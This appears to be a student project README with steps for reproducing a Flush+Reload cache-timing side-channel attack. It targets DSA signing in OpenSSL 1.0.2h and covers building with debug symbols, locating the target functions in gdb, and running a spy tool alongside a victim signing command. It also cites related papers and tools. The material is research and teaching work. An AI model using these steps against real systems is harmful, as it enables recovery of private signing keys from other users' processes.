• Animesh Bohara
• Ankit
• Anmol Singh
• Eashan Gupta
• Shourya Pandey

Download OpenSSL 1.0.2h source code from https://www.openssl.org/source/old/1.0.2/
Go to the installation directory and run ./config. Do not run make depend at this point
Open Makefile and add -g to the end of the line containg CFLAG=.....\

make depend
make
sudo make install

Copy the given flushreload.c and plot.py in the flush-reload-attacks/flush-reload/myversion and redirect to this folder
Run make in the above folder
Run gdb, then run command file /usr/local/ssl/bin/openssl to load debugging symbols
Run break bn_sqr8x_mont inside gdb and note the virtual address printed(V1)
Run break bn_mul4x_mont inside gdb and note the virtual address printed(V2)\

./spy -e /usr/local/ssl/bin/openssl -p S:V1 -p M:V2 -s 256 -t 80 | python3 plot.py

In another terminal, run the folowwing:

/usr/local/ssl/bin/openssl dgst -dss1 -sign ~/dsa.pem -out ~/lsb-release.sig /etc/lsb-release

For performance degradation:
Breaking on Lsqr4x_shift_n_add, L8x_reduce, L1st4x, Louter4x, Lsqr4x_inner, Linner4x

Threshold : 80
Slot size : 2048

1. Cache-Timing Techniques: Exploiting the DSA Algorithm - https://aaltodoc.aalto.fi/bitstream/handle/123456789/21579/master_Pereida_Garcia_Cesar_2016.pdf?sequence=2&isAllowed=y
2. Mastik - https://cs.adelaide.edu.au/~yval/Mastik/?fbclid=IwAR2hGZZjn1zFULJPkjfsrJZlfN23pcYQg1M1I-gShnoQdaN5BzinsMM4Ow0
3. Mastik Tutorial - https://cs.adelaide.edu.au/~yval/CHES16/?fbclid=IwAR0iWFJXs7-JhOXMH_jTsQTzrQ91VOMt4OoFbN3pgbzT-Ha5Uy0dwV7-S1k
4. Flush Reload Attacks (Github Repo) - https://github.com/defuse/flush-reload-attacks
5. Side Channel Attack Tutorial - https://cryptologie.net/article/367/ches-2016-tutorial-part-2-micro-architectural-side-channel-attacks/?fbclid=IwAR0Kyk1BpvkNUbZBGlAa5Vtc2fWj8C1ydHcgFd25CbGGglafSsp1nMu7XH8